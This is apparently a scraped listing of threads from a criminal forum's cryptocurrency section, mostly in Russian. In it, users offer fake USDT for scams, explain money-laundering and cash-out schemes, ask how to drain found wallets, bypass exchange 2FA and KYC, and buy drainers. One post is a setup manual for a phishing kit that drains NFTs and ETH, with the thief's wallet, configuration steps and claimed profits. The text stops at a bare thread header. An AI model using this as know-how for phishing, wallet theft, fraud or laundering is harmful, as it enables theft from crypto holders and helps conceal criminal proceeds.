![www.securitylab.ru](/proxy.php?image=https%3A%2F%2Fwww.securitylab.ru%2Fimg%2Ffaveicons%2Fandroid- icon-192x192.png&hash=48f4deb014821acfdcffa50cc5f79355&return_error=1) www.securitylab.ru

__https://www.reddit.com/r/Monero/comments/19emsfe/finlands_national_bureau_of_investigation_claims

__https://www.reddit.com/r/Monero/comments/134jbdt/security_advisory_new_attack_from_malicious

![medium.com](/proxy.php?image=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A512%2F1%2A78_fZacQ11O05-kmCB- YFw.png&hash=6e7b226461539dfd401ecd1d523d06df&return_error=1)

[ Tracing the WannaCry 2.0 Monero Transactions

](https://medium.com/@nbax/tracing-the-wannacry-2-0-monero- transactions-d8c1e5129dc1)

Contributors: Nicolas A. Bax, PhD and an unnamed contributor.

medium.com medium.com

https://xmr.ru/logs/breaking-monero/ (все эпизоды интересные 1-13)

https://www.youtube.com/playlist?list=PLsSYUeVwrHBnAUre2G_LYDsdo-tD0ov-y

[ Эпизод 13 - Блокчейн-эксплорер OpSec ](https://xmr.ru/logs/breaking-

monero/episode-13/)

16/05/19 https://xmrchain.net https://exploremonero.com Стенограмма эпизода: Джастин: Привет всем и добро пожаловать на очередной эпизод Breaking Monero! Сегодня будет по-настоящему короткий эпизод, посвящённый основам безопасного использования блокчейн-эксплореров. В седьмом эпизоде мы уже...

xmr.ru xmr.ru

[ Эпизод 09 - «Отравленные» выходы (атака EAE)

](https://xmr.ru/logs/breaking-monero/episode-09/)

11/02/2019 Стенограмма эпизода: Джастин: Мы рады, что вы снова присоединились к Breaking Monero. Наш девятый эпизод будет посвящён помеченным выходам, EAWE атаке или Knack атаке. У этого явления есть несколько названий, и мы постараемся честно обсудить довольно сложную, полную нюансов тему, и мы...

xmr.ru xmr.ru

[ Эпизод 08 - Согласованные атаки по времени

](https://xmr.ru/logs/breaking-monero/episode-08/)

05/02/2019 Стенограмма эпизода: Джастин: Привет всем, с вами снова Breaking Monero, серия эпизодов, в которых нами критически рассматриваются ограничения, связанные с анонимностью и безопасностью Monero, чтобы люди узнали, что вообще такие ограничения из себя представляют. Меня зовут Джастин, и...

xmr.ru xmr.ru

[ Эпизод 07 - Удалённые узлы ](https://xmr.ru/logs/breaking-

monero/episode-07/)

24/01/2019 Стенограмма эпизода: Джастин: Рад снова приветствовать вас, это Breaking Monero, Сегодня Саранг и я поговорим об удалённых узлах и обсудим некоторые вопросы, связанные с их использованием. Всем нам уже известно, что удалённые узлы — довольно удобная вещь. Большинство кошельков любой...

xmr.ru xmr.ru

Millions of Fake Usdt
ID: 67686ad7b4103b69df3796ce
Thread ID: 88490
Created: 2023-05-21T01:28:17+0000
Last Post: 2024-09-14T16:48:14+0000
Author: churk
Replies: 55 Views: 6K

I have few million of fake Usdt ( Erc20 contract, on Ethereum network ).

And I can very easilly make more, and more. If needed I can make billions of it.

It can not be swapped to other crypto, but is recognized by Coinbase, Metamask, Trustwallet...
Probably some other wallets also, this platforms I know for sure is recognized by because I tested it.

Someone having idea what can be done with it ? Scaming someone 1 on 1 ?

Обнал грязи и Легализация доходов
ID: 67686ad7b4103b69df37997a
Thread ID: 59469
Created: 2021-11-29T16:42:12+0000
Last Post: 2022-04-14T02:10:12+0000
Author: SNEGIKO
Prefix: Статья
Replies: 20 Views: 5K

Эта статья написана исключительно для просвещения и не призывает Вас совершать противозаконные действия!!!

Легализация денежных средств или иного имущества, полученных преступным путем. В этой статье я постараюсь изложить, что-же это на самом деле, как работают современные сервисы по оказанию подобных услуг, какие есть риски и как всего этого избежать. Так же постараюсь осветить все темные стороны этого процесса, тонкости и нюансы. Давайте по порядку.

Понятие «ГРЯЗЬ»

Многие думают, что деньги полученные от скам-проекта, это грязь, а ЗП полученная в конверте имеет серый оттенок или даже почти белый, но это заблуждение. На самом деле, разница только в их происхождении. Т.е. за скам светит срок по ст. 159 и в перспективе по ст. 198, а ЗП в конверте влечет ответственность по 198 ст. УК РФ. + Налоги, взносы, штрафы и пени.

Грязь- это деньги, имущество и т.д. , которые были скрыты их обладателем от контролирующих органов. Соответственно, тратить и владеть «грязью» публично- чревато. Ибо появится необходимость объяснять происхождение этого имущества. Многие ошибаются, когда думают, что, «полученные преступным путем» означает только: продажу наркотиков, оружия и других запрещенных товаров, также вымогательство и мошенничество, но это далеко не так.

Любая копейка, неотраженная в ваших доходах- это «грязь» и ответственность (наказание) одинаково для всех видов «грязи», разница лишь в том, откуда вы ее взяли. Для примера, давайте разберем такой случай: существует ООО «Стройдом», занимается строительством и имеет штат сотрудников. Чтобы не платить грабительские налоги, взносы и т.д. эти сотрудники не включены в штат и работают неофициально. Чтобы платить зарплату таким сотрудникам, необходима наличка. Поэтому директор обращается к обнальщикам, которые за процент обеспечивают его необходимым количеством. Далее этим серым налом, выплачивается зарплата в конвертах. На первый взгляд банальная ситуация , которая встречается очень часто. Бедный штукатур, получивший зарплату идет и кладет деньги на карту, так как носить «нал» в кармане неудобно, да, и вообще, удобней расплачиваться картой в «Пятёрочках» и «Магнитах». И делает он так регулярно, каждый месяц. Так вот, преступники в этой схеме и директор, и штукатур. Сначала «подтянут» штукатура, который расскажет откуда у него деньги, потом будет оштрафован, уплатит налоги и взносы, а потом возьмутся и за директора, которого ждет та же участь или того хуже. Все это начнет происходить уже в этом году. И все, подобные и многие другие случаи, будут вычислять в автоматическом режиме. То есть, все финансовые организации (банки) будут в онлайн-режиме оповещать ФНС о всех поступлениях и списаниях, связанных с вашим счетом, картой. Начиная вот от такого элементарного случая, я уже не говорю об откровенном воровстве или мошенничестве, возникает необходимость «отмыть» деньги. Так как, это и есть доход, полученный преступным путем.

Обнал, отмыв «грязи».

Теперь давайте разберемся, что это, как это работает и чем может обернуться. В сети встречается огромное количество сервисов, предоставляющих подобные услуги. Практически у каждого из них блестящая реклама, рядом с которой ночной Лас–Вегас -это дешевая гирлянда с перегоревшими лампочками. У всех космические депозиты, отзывы авторитетов из той же сети, стаж работы в теневом мире от 10 лет и т.д. Ну, давайте, взглянем на все это изнутри и посмотри какие же на самом деле нужны знания и инструменты, чтобы стать королем или лучшим сервисом «грязных» денег. Что представляет собой «обнал грязи». Вот тут уже нужно понимать, что это не наличка у вас в руках, а это значит, что кто-то переведет деньги на те реквизиты, которые вы укажете. Возьмет с вас за это проценты и немаленькие. И не факт, что получите именно отмытые деньги, а не те же самые, просто с другой карты. Для примера моделируем ситуацию: допустим у вас скам- проект, который принес вам 300К рублей, эти деньги лежат на карте, которая была куплена в сети(на дропа). Сами вы не пойдете в банкомат, по понятным причинам: камеры банкомата, на углах домов, свидетели и т.д. А маячить перед всеми в маске лошади или Франкенштейна , то еще удовольствие.

И, чтобы, всего этого избежать, вы и идете на «авторитетную площадку», с «авторитетными пользователями» и «авторитетными сервисами» по обналу «грязи», у которых: отзывы «авторитетов» и от 10 лет стажа в теневом мире. Разумеется, сервис должен быть проверенным и иметь депозит. Далее, обнальщик вам расскажет, что был рождён в бухгалтерии на столе главного бухгалтера, перед монитором, на котором было более десятка схем по обналичиванию и отмыванию доходов, а роды принимали Антонов, начальник отдела «К» и Бастрыкин. Поэтому, лучше сервиса вам не найти и его услуги стоят 30 %. Вы не сможете устоять перед таким предложением и согласитесь. И вот тут начинается колдовской час, открываются чакры и гений отмыва запускает свою, изобретенную по инопланетной технологии, машину, которая обналичит вашу «грязь».

Как это должно происходить и чем объясняется 30%-ная стоимость этой услуги:

  1. Вы переводите «грязь» со своей карты (оформленной на дропа) на карту обнальщика ( на дропа);

  2. Затем обнальщик переводит деньги в крипту и прогоняет через, так называемый «миксер» (стоимость 3% +-) поверьте, это та еще штучка! То, что вы получаете из миксера, может оказаться в десятки раз чернее того, что вы там пытались отмыть));

  3. Затем, из миксера выводит деньги уже на другую карту, оформленную уже на другого дропа;

  4. Идет в банкомат (посылает человека) и снимает деньги с карты, превращая их в нал;

  5. Кладет деньги уже на совершенно новую карту (на дропа) ранее не засвеченную абсолютно нигде и переводит деньги на указанные вами реквизиты. О Боги! Свершилось! (по вашему и его мнению вы обналичили «грязь»).

Повторяю! Это то, как именно должна происходить процедура. Теперь давайте разберемся детально во всем этом и посчитаем все затраты, риски т.д. Ну, и поймем, наконец, что именно вы сделали. Для начала посчитаем заработок и расходы сервиса по обналу, и разберемся стоит ли овчинка выделки. Итак, по описанной выше схеме, мы видим, что сервису необходимо 3 карты на дропов для работы(стоимость одной 10-25К рублей). Берем по минимуму, 3 карты по 10К -30К рублей. Миксер 3% от 300К рублей -9 К рублей. Далее момент снятия денег после миксера, обычно это делает надежный дроп, ибо обнальщику не позволяют понятия заниматься такой грязной работой-около 10К рублей. Итого получается: 30% от 300К -90К, 3 карты 30К, 9К –комиссия за крипту и 10К дроп=41К рублей, это чистый доход сервиса при самом радужном раскладе. Все мы прекрасно понимаем, что таких цен уже давно нет и все это обходится сервису гораздо дороже. Но дабы не обидеть сервисы, которые действительно делают свою работу как надо, опустим этот момент и будем думать, что так и было. В противном случае нетрудно догадаться, что многие экономят на расходах в ущерб общей анонимности. Получают от вас «грязь», прогоняют через миксер и переводят деньги на ваши реквизиты. Это и есть «гениальная» схема, за которую вы платите 30%. Теперь давайте детально разберемся что же произошло и за что вы заплатили 30% на самом деле:

  1. Вы получили 300К рублей от скам-проекта, это ст. 159;

  2. чтобы уклониться от нее, вы прибегли к помощи сервиса по обналу «грязи», получили нужный результат и деньги на карту;

  3. Теперь у вас на руках прибыль, полученная преступным путем и ее происхождение вы объяснить не можете. Соответственно, с этого дохода налог вы также не можете заплатить, а это ст.198;

  4. Чтобы избежать наказания и за это, вам необходимо отмыть эти деньги, для дальнейшей покупки авто или вложения их в недвижимость, а вот отмывание- это уже ст. 174, и заехать за такие действия можно очень надолго и в очень холодный регион, где ваше здоровье заберет туберкулез и лишат зубов неприятные люди, задающие неприятные вопросы.

Разумеется, это все с вами случиться не может, потому как у сервиса есть отзывы «авторитетов», депозит, знания и т.д. А те глупцы, которые борются с обналичкой и легализацией в нашей стране, просто не в состоянии ничего предпринять против идеальных схем, по которым работают сервисы по обналу «грязи». И переживать вам не за что. На этом этапе советую вспомнить свою молодость и барыгу на районе, который продает анашу и тот парадокс, что абсолютно все, даже бродячие собаки, знают о том, что это барыга, но его никто не сажает в тюрьму, никто не ловит, не утраивает облавы и т.д. , но по каким- то странным причинам , время от времени принимают людей, купивших у него траву. Вот так и в мире обнала, сервисов и «авторитетных» площадок. И так, подводя итоги, можно увидеть то, что вы добровольно предаете сами себя, а сервис, оказывающий вам услугу обнала «грязи» на самом деле просто меняет вам одну статью на другую и берет за это 30%. Причем получая деньги из миксера, может прилипнуть и 228, 222 статья. А по итогу вы ничего не легализовали, не отмыли и не спрятали. И все это при том, что я не стал описывать все риски при переводах, при которых можно потерять деньги. Но прошу обратить внимание, что у каждого сервиса по обналу, есть приписка: «За блокировку карты банком сервис ответственности не несет».

Теперь давайте поговорим о настоящей легализации и о том, какую же великую тайну все хранят и зарабатывают на этом. Наверняка многие прекрасно понимают, как и для чего это делается, но не имеют либо времени, либо ресурсов и поэтому обращаются к «понимающим людям». А некоторые просто прикармливают человека, который в кураже богатства, забывает об ответственности, а потом едет точить руки под кайло. Но ближе к делу. Наверняка у каждого есть такой знакомый, который работает в бюджетной организации, получает среднюю зарплату, а ездит на Гелике. Все это потому, что у него очень обеспеченная жена, которая очень успешный предприниматель. В качестве примера рассмотрим сотрудника ГАИ. Все сотрудники ГАИ нищеброды, чтобы вы знали. А вот их жены или другие близкие родственники, напротив, очень обеспеченные люди. Как правило у них есть какой- то бизнес: ларек, магазин, аптека или мойка и т.д. Для чего это нужно? Все правильно! Для внедрения грязи в легальный оборот. А происходит это так: Гаишник гасит водил на дороге и берет взятки, когда сумма взяток накапливается, приходит время их куда-то вкладывать. Но сделать он этого не может, потому что не может объяснить происхождение этих средств и получены они преступным путем. Поэтому его возлюбленная идет в ФНС и становится Индивидуальным предпринимателем. Затем открывает магазин, на деньги, взятые в кредит и начинает торговать продуктами, косметикой, порошками и т.д. Далее она постепенно добавляет к выручке те деньги, которые накопились от взяток и показывает как белые, платит налоги и вуаля!!! Теперь деньги полученные в виде взяток, можно инвестировать куда угодно. Например купить своему бедному мужу гаишнику Гелик, ну и раз год был такой удачный, то пожалуй и дом можно начать строить. А когда придет время подачи декларации о доходах, у всех есть железный аргумент! Я думаю, что сейчас абсолютно каждый понимает, почему в городе «Куриножоповск» с населением в 20 000 чел. есть бутик, в котором продают галстуки по 70 000 руб. Почему работают кафе и рестораны у которых бывает 4 посетителя в год и нет ни одного повара. Все верно, каждое 3 заведение работает по такому принципу. Что же касается остальных схем, то скажу одно: их огромное множество. Нет среди них идеальных, кто-бы и чтобы вам не говорили. Не нужно думать, что там где борются с обналом и легализацией доходов, сидят бараны!!! Это далеко не так! Давайте в качестве последнего примера в этой статье рассмотрим еще одну ситуацию: К примеру, есть у Вас 1 млн который нужно отмыть. Знакомых нет, ресурсов нет, а отмыть надо. Идете в сеть и находите очередной «гениальный» сервис с красивой рекламой и депозитом. В рекламе сказано: стаж работы в тени-14 поколений, депозит-5млрд$, проконсультируем, у нас работают специалисты высшего уровня, мы разработаем схему конкретно под ваш случай и т.д. Ну как можно не обратиться к таким профи? Вот тут важно понимать, что у многих притупляется чувство самосохранения и думать они начинают только о тех красивых рекламных лозунгах. И совершенно не думают о том, что это мог написать, прыщавый задрот, в потных очках, который пять минут назад мастурбировал на порно из ВК, а мог написать и товарищ майор, но на все это плевать, ведь у него депозит и отзывы. А если вы хотите легализовать свой доход, вам придется светить именно свои данные. Поэтому всегда 50 раз подумайте, а уж если решили пойти по этой скользкой тропинке, то начните пробовать с честными деньгами. А вообще вы с самого начала должны понимать и знать простые принципы этого механизма. Я постараюсь описать способ, который даст вам пищу для мозга!

ПРОШУ ОБРАТИТЬ ВНИМАНИЕ!!! Я ПИШУ ЭТО В ЦЕЛЯХ ОЗНАКОМЛЕНИЯ!

Грязные деньги проходят 3 процедуры: размещение, наслоение, интеграция. По крайней мере так говорит гугл. Размещение-это внедрение денег в оборот, т.е слив (банальная трата). Наслоение-это смешивание «грязи» с легальными деньгами в одном котле и совершение уже других сделок. Интеграция-это уже легальный кэш, который вкладывается в экономику.(покупка недвижимости, ценных бумаг и т.д)

В качестве примера приведу личный опыт. Я получаю серую ЗП и имею небольшой доход со стороны, официально не устроен. Как говорится: «волка ноги кормят». Для себя, я нашел решение в сети. Есть отличный ресурс, позволяющий производить все необходимые маневры, для преобразования «грязи» в чистый доход. И считаю так: «Если хочешь, чтобы все было сделано хорошо, сделай это сам!» И вам советую! Изучайте, анализируйте, ищите и будет Вам счастье! Вот вам и пища для мозгов.

На этой ноте я, пожалуй, буду заканчивать. И мне очень хочется пожелать Вам только успеха во всех делах и начинаниях. Я хочу поблагодарить вас за потраченное время и надеюсь, что вы смогли почерпнуть хоть какие-то новые для себя знания!
С уважением SNEG!

Вопрос: как обелить и обналичить крипту?
ID: 67686ad7b4103b69df379a49
Thread ID: 44838
Created: 2020-11-26T16:46:28+0000
Last Post: 2020-12-29T13:08:52+0000
Author: Azatot
Replies: 26 Views: 5K

Нуждаюсь в очистке ценных кристалов манны от темной энергии.

Проштудировав всю доступную мне сеть,нашел только поросшие мхом и плесенью мануалы времён Империи.Не исключаю что со мной что то не так,и я проморгал нужную мне информацию,однако вопрос остается открытым.
В месяц сумма требующая занятного ритуала не так велика - 2к-3к$ .Я попытался поверхостно изучить материал самостоятельно,и на данный момент планирую поступить так :

Грязные битки - миксер - обменник - монеро1 - монеро2 - белый кошелёк - моя карта/карта дропа.

Или так

Грязные битки - миксер - локалбиткоинс - нал.

Знающие люди,поделитесь знаниями.

Кто знает актуальные биткоин-миксеры?
ID: 67686ad7b4103b69df379a65
Thread ID: 37969
Created: 2020-06-01T11:27:13+0000
Last Post: 2020-10-01T19:52:03+0000
Author: BlessYoTrap
Replies: 33 Views: 5K

Вопрос в заголовке

вывод крипты
ID: 67686ad7b4103b69df37970c
Thread ID: 117549
Created: 2024-06-25T13:30:46+0000
Last Post: 2024-07-03T13:50:36+0000
Author: timasik
Replies: 55 Views: 5K

Недавно начал возиться в криптой! папалось много кошелей с баликом,а вот что дальше и как правильно вывести или перевести хз
есть и сид фразы и приватные ключи
Кто подскажет как правильно к этому подойти

Как создать Fake USDT?
ID: 67686ad7b4103b69df37965e
Thread ID: 127800
Created: 2024-11-28T09:46:41+0000
Last Post: 2024-12-20T15:52:19+0000
Author: Incognito
Replies: 75 Views: 5K

Как создать Fake USDT?
- Умелые люди, сообщите информацию.
Думаю эта статья поможет многим людям.

P.S : -- Я лично с людьми поспорил то что это возможно, и готов продемонстрировать.

BTC (fantom), usdc и другие токены. Создание своего токена- вывод его на биржу.
ID: 67686ad7b4103b69df379662
Thread ID: 113464
Created: 2024-04-28T14:32:14+0000
Last Post: 2024-12-17T22:12:59+0000
Author: Garantpres
Replies: 60 Views: 5K

много писали по этому поводу.
Могу объяснить принцип их создания, как их делать, как использовать дыры в смарт контрактах.
Так же могу научить создавать токены с нуля.
Компилировать контракты, добавлять ликвидность и создавать проекты под ключ.

Пишите в ПМ. Гарант +

40.000.000 млн Рублей
ID: 67686ad7b4103b69df379752
Thread ID: 111901
Created: 2024-04-03T14:49:04+0000
Last Post: 2024-04-07T11:22:47+0000
Author: Bazooka
Replies: 67 Views: 5K

Друзья, всех приветствую, произошла вообщем не очень приятная ситуация, наткнулся на монету в приват-канале под названием KIZ, ну и решил попробовать купить ее, ранее в таких проектах не участвовал, купил монет я значит на хаях и вижу что растет, ох как растет активно, после чего решил добить свой кошелек, по скольку лежали еще какие-то свободные финансы на подобные риски, но я не обратил внимание, что вывод невозможен и просто пулял туда деньги по приколу, так вот прикол не удался, как итог - неплохая сумма денег, я бы даже сказал охуеть какая не плохая. На ликвиде у них сейчас лежит 150.000$ и они не выводят их, но когда я пытаюсь конвертировать у меня не получается, отправка так же невозможна.

Что возможно с этим сделать?

(забыть, забить, ничего) к ответу не принимаются.

0x3ED8a69059D05DA6A830a24364603bee379F8dd2 - контракт​

photo_2024-04-03_17-45-24.jpg

photo_2024-04-03_17-45-33.jpg

photo_2024-04-03_17-45-43.jpg

Bitcoin core wallet.dat с балансами
ID: 67686ad7b4103b69df379833
Thread ID: 47152
Created: 2021-01-24T22:07:04+0000
Last Post: 2023-06-25T00:52:32+0000
Author: Alexlogin
Replies: 24 Views: 5K

Может кому повезет https://mega.nz/folder/Qs5CHIQC#-M98l9rov3XwlV9zvflIfQ

Есть ли спрос на более анонимную валюту, чем криптовалюты?
ID: 67686ad7b4103b69df3798a1
Thread ID: 63944
Created: 2022-03-07T15:38:00+0000
Last Post: 2023-02-17T10:40:00+0000
Author: evil666
Replies: 73 Views: 5K

Bitcoin не анонимен, т.к. не чистит логи, доступен в клирнете, использует блокчейн, вываливает в паблик цепь транзакций за всю историю, собирает статистические данные, ограничивает количество выпускаемых монет.

Есть ли спрос на разработку TOR валюты, более анонимной чем монеро? С простым майнингом, страхованием рисков, без блокчейна.

Курс монеты обеспечивается валидными банковскими картами и взломанными криптовалютными кошельками.

Ограничения: монета не может использоватся для педофилии, ЦП, неонацизма или фашизма.

Выбираем биржу для работы
ID: 67686ad7b4103b69df379a99
Thread ID: 29883
Created: 2019-06-20T13:39:33+0000
Last Post: 2019-10-15T11:41:20+0000
Author: pablo
Replies: 15 Views: 5K

Как ни крути, биржами все равно приходится пользоваться, а биржа - это узкое место, бывают и локи, и требования верификации и даже скам-экзиты

:smile66: выбираем лучшую биржу для среднестатистического блекхета нашей сферы

критерии (все относительные): анонимность, отсутствие локов, не надоедливость верификации/kyc/aml, трастовость, скорость ввода-вывода крипты, умение работать с разнымит суммами

ваши мнения?

Куда упадет биткоин
ID: 67686ad7b4103b69df3798e8
Thread ID: 68845
Created: 2022-06-18T09:02:38+0000
Last Post: 2022-11-11T21:43:39+0000
Author: Pent
Replies: 94 Views: 5K

Прочитал сообщения по прогнозам и решил отдельную тему запилить.
Биткоин упадет в район 12-14К, это 80% от пика как и в предыдущие разы на это же указывает дивергенция по тоталу биткоина, район обьемов от 130-150 лярдов раньше покупать не советую.
Упали в июне как раз перед заседанием фрс. Следующее в 27.07.22 если к этому времени не упадем до тех объемов что указал то упадет еще раз в июле. И таких заседаний на этот год запланировано еще 4. И каждый раз фрс будет поднимать ставки, официальная инфляция в сша в районе 7% значит до этого уровня будут поднимать ставки. Но промышленная инфляция 20-25%, конец Бреттон-вудской системе.
Думаю что многие уже поняли что доллару пришел конец, как и всей мировой экономике, в ООН предупредили о дефолте в 70 странах а это четверт мира и это только в этом году. В течении пары лет евросоюз развалится совсем и индекс доллара рухнет когда это происходит биткоин летит вверх, сейчас когда все катится в дно индекс DXY летит вверх, значит доллар схлопнится последним. Возможно биткоин полетит на луну к концу года, в ноябре в сша промежуточные выборы и к тому времени снимут Байдена, как стало уже всем понятно победят на выборах республиканцы, скорей всего Трампу не достанется место президента, думаю Иллон Маск не зря топил за республиканцев и его попытка покупки Твиттера указывает на то что скорей всего следующим президентом сша будет Иллон Маск. Если все таки победит Трамп то сша развалится на штаты.
Что касается доллара к рублю то мы еще увидим 74 за доллар, но после это я не стал бы держать его как актив для сохранности. Я свои продал еще на 120, доллар вскоре упадет к рублю очень сильно, мир будет делится на валютные и экономические зоны, пока что их будет 4, это Индия, Россия, США и Китай. Геп в районе 2,30 за доллар это настоящая цена, вообще лучше держать в рублях и крипте, те немногие у кого что то осталось побегут в крипту когда начнется глобальный ппц, как это сделали наши звезды когда побежали за границу. В поддержку рубля скажу что ВВП еще в 2016 году сказал подготовить 3 варинта экономики в РФ, с 2020 года он всем лидерам евросоюза говорил Бреттон-вудской системе пришел конец. Прошлый кризис 1930 года длился 3 года, нынешний продлится 5-6 лет. И на последок если Иллон Маск до конца октября закроет сделку по Твиттер то я бы прикупил Dogecoin, его любимую собачку.

Легализация и налогообложение крипты
ID: 67686ad7b4103b69df379a3f
Thread ID: 42378
Created: 2020-09-22T17:07:56+0000
Last Post: 2021-02-04T17:33:41+0000
Author: pablo
Replies: 40 Views: 5K

Предлагаю обсудить немаловажный вопрос - а именно легализацию и налогообложение крипты
вот заработали вы крипту, прогнали через миксер, сидите с уловными отбеленными 10 бтц на руках
но дальше же их нужно легализировать как-то, оплатить с них налоги и вывести
желательно, чтобы все это стоило адекватных денег в итоге
выводить серыми нет резона, толку с серого нала, если его потом потратить - еще та проблема
Ваши мысли? идеи?

ЗЫ не рассматриваем варианты лагелизации обычного нала, фиктивного трудоустройства и пр. речь именно о крипте, как из крипты выйти по-белому в чистый, белый и налогообложенный нал

ExBita - Cryptocurrency Exchange Script (скрипт криптовалютной биржи)
ID: 67686ad7b4103b69df379a1f
Thread ID: 49354
Created: 2021-03-15T10:09:14+0000
Last Post: 2021-05-18T14:44:25+0000
Author: NFUO2
Replies: 23 Views: 4K

Скрипт криптовалютной биржи, который продавался за 3000 долларов

Возможности:
SPA Structure
Trading API
Multi Language
Theme Editor
Limit Orders
ETH & BTC Nodes
List own ERC-20 Token
Unlimited Markets
Socket System
+1000 COINS

В архив положил видеомануалы по настройке от автора скрипта.
Конфигурации и требования к серверу так же лежат в папке.

Демо: https://demo.exbita.com/
Скачать:

You must have at least 100 message(s) to view the content.

What crypto drainer to buy?
ID: 67686ad7b4103b69df37968a
Thread ID: 109902
Created: 2024-03-07T15:10:41+0000
Last Post: 2024-11-19T17:02:57+0000
Author: Vecna9
Replies: 26 Views: 4K

Hello everyone,

I'm looking for a crypto drainer to buy that obviously works perfectly!
A multichain drainer (eth, soil) etc...

Do you have any to suggest?

Как лучше обменять биткоин на монеро?
ID: 67686ad7b4103b69df3796a6
Thread ID: 65433
Created: 2022-04-09T21:34:38+0000
Last Post: 2024-10-31T00:20:21+0000
Author: chillco
Replies: 30 Views: 4K

Здравствуйте. Нужно обменять биткоин на монеро. Как это лучше всего сделать? Главное требование, конечно же, анонимность. Так же желательно маленькие комиссии.
Слышал о DEX, т.е. децентрализованный обмен, но ни разу им не пользовался до этого и знаю о нем очень мало. Если DEX это хороший вариант, то какой обменник посоветуете?
Спасибо!

Вывод баланса с Бинанс
ID: 67686ad7b4103b69df3796c0
Thread ID: 120529
Created: 2024-08-10T12:58:31+0000
Last Post: 2024-09-29T17:55:39+0000
Author: betonit
Replies: 33 Views: 4K

Вводные данные: есть акк на binance с балансом, пройден вериф, подцеплена почта, телефон, G authenticator. К этому всему есть доступ!
Проблема: При выводе просит пройти лицевую проверку, а лица нет. Есть только фотка и та не очень.
внутренний перевод, боксы и тд, ничего не дает без лица вывести.

Буду финансово благодарен тому кто поможет. :smile50:

Как заработать на крипте
ID: 67686ad7b4103b69df3796de
Thread ID: 112473
Created: 2024-04-11T18:07:38+0000
Last Post: 2024-08-29T23:45:02+0000
Author: Kirigamil
Replies: 23 Views: 4K

Привет всем, посоветуйте заработок на крипте +- с 0
на данный момент пытаюсь как-то заработать на стилере но ведутся оч мало людей
так же буду рад если возьмёте куда-то к себе

заранее спасибо.

Как отрабатывать coinbase, kraken?
ID: 67686ad7b4103b69df379701
Thread ID: 90137
Created: 2023-06-10T09:03:31+0000
Last Post: 2024-07-17T12:32:34+0000
Author: vers
Replies: 32 Views: 4K

Если ошибся разделом, то извините. Видел темы, что отрабатывают coinbase,binance, снятием 2FA, как это делают?

Прошу помощи утеряны данные от блокчейна, Если вариант восстановить акк?
ID: 67686ad7b4103b69df379713
Thread ID: 115071
Created: 2024-05-21T19:04:00+0000
Last Post: 2024-06-24T16:20:59+0000
Author: Itlay
Replies: 37 Views: 4K

Всем здравствуйте, есть ли умельцы затер флешку случайно все абсолютно. там все- 12 слов. пас от почты пас от блокчейна. Реально как-то деньги вытащить? Там щас 16к личных. на мою подругу оформлен акк, подруга рядом. Человек взрослый не молодой.

Ищу любые варианта восстановления акка. все утерянно, абсолютно все. Но на кого регали акк под рукой она. все снимет видео, фото и т.д. ЧТО ДЕЛАТЬ МНЕ. жЕСТЬ 16К ВЫКИНУТЬ ПРОСТО ТАК........

Почту родную уже восстановил. куки в браузере с начала оснавания кошелька.

fixedfloat обменник локнул заявку обменную, кто-то проходил через такое?
ID: 67686ad7b4103b69df379768
Thread ID: 106018
Created: 2024-01-17T08:37:21+0000
Last Post: 2024-03-15T16:58:43+0000
Author: Theriella
Replies: 49 Views: 4K

fixedfloat локнул обмен, с таким сообщением "Ваш заказ был остановлен, поскольку мы получили информацию от наших партнеров, что средства на вашем адресе получены преступным путем. Ваш обмен сейчас обрабатывается нашей службой безопасности.", у кого было такое и решалось ли?

просят пруфы что монеты получены честным путём, что лучше подойдёт , у кого были такие же ситуации?

более 250+ сделок с ними было такого же обмена
как сумма перешла черту чуть, АМЛ проверка на грязь упала
я думаю это специально сделали, какие шансы вообще в возврате или же как доказать? (буду сам делать, так как услуги чьи-то не нужны, везде рисуют , то что и сам я могу заказать ), важно понять в каком направление думать и рисовать подтв. того, что средства легальные были?

Братцы, закиньте пожалуйста +- годную схему по скаму крипты
ID: 67686ad7b4103b69df37977e
Thread ID: 75373
Created: 2022-11-06T18:50:38+0000
Last Post: 2024-02-28T18:32:53+0000
Author: Hunter
Replies: 28 Views: 4K

Я конечно понимаю, что мало кто будет делиться чем-то, но вдруг.....
пишите в tg @hunter_shelby

Биржа без KYC и ожидания
ID: 67686ad7b4103b69df37984f
Thread ID: 81352
Created: 2023-02-06T09:25:31+0000
Last Post: 2023-05-31T11:01:50+0000
Author: Code
Replies: 40 Views: 4K

Знаю, было кучу тем, но всё же.

Требуется разово залить крипту на биржу, обменять, и сразу вывести. Чуть меньше 1 BTC.

Подскажите биржу, которая не потребует KYC, и что бы не пришлось ждать 24 часа для вывода, из-за нового аккаунта.

Нужен именно CEX, а не DEX и не обменник.

Stealing nft and eth via metamask
ID: 67686ad7b4103b69df379877
Thread ID: 73181
Created: 2022-09-14T18:49:19+0000
Last Post: 2023-04-06T00:46:12+0000
Author: iSeeYou
Prefix: Мануал/Книга
Replies: 48 Views: 4K

Внимание! Использовать в целях обучения! В код вшит кошелек 0x2ed40808C75379AD6114807cbb044cB619c0D214 и адрес api.rarecity.art (Moralis API)
web3.min.js
api.rarecity.art:2053
// Администрация форума

Суть фейка заточена под фейковый NFT mint, если у пользователя есть NFT, то в первую очередь его попросят отправить их под видом обычной транзакции и оплатой за GAS, но если NFT отсутствует , то будет создана транзакция на отправку эфира, учитывая что он есть в кошельке пользователя, если он отсутствует, ему будет выдана ошибка, чтобы он не узнал и не узнал все прелести функциональность!

Cкачать bind можно по ссылке

Настройка:
На временную почту зарегистрируйтесь moralis.io, нажми create new dapp, сеть mainnet ethereum, регион любой.
Жмем на создавшемся сервере settings коируем serverUrl и вставляем в 93 строку , так же копируем appId и вставляем в 94 строку
96 строка указываем свой кош eth
97 строка минимальный прайс минта , желательно от 0.1 эфира
Так же вы можете поменять дизайн на свой , заменив 2 картинки в папке assets.
Покупаем хостинг, домен и льем траф

Пример моего бинда

Spoiler: Пример моего бинда

87c8f5cac94000c9aef2a.jpg

Советую делать красивые ленды , или маркетплейсы и уже по кнопке ставить наш бинд.
Я же не парился , т.к у меня был хороший трафик с твитера и просто выкладывал обычный бинд.

Сколько получалось вытащить с хорошего трафа ?
Ниже пример одного хорошего твиттер акка!
Земли в децентраленде продал за 40к$
Еще одну nft за 10eth
Остальное продал в общем на 25-30к
Ну и сумма в транзах вытянула на 17к$
Остальные залеты не вижу смысла выкладывать)

Spoiler: Профит с твиттер

e1ac7ce1ef6b7a10151e3.jpga69f80995f17dc4af13d7.jpg3fc6f28939dac50dfb8a6.jpg3a2f12b590e568473dc9c.png

Всем профита !)

[Копипаста] P2P Арбитраж криптовалют 2022
ID: 67686ad7b4103b69df379928
Thread ID: 68627
Created: 2022-06-13T20:37:52+0000
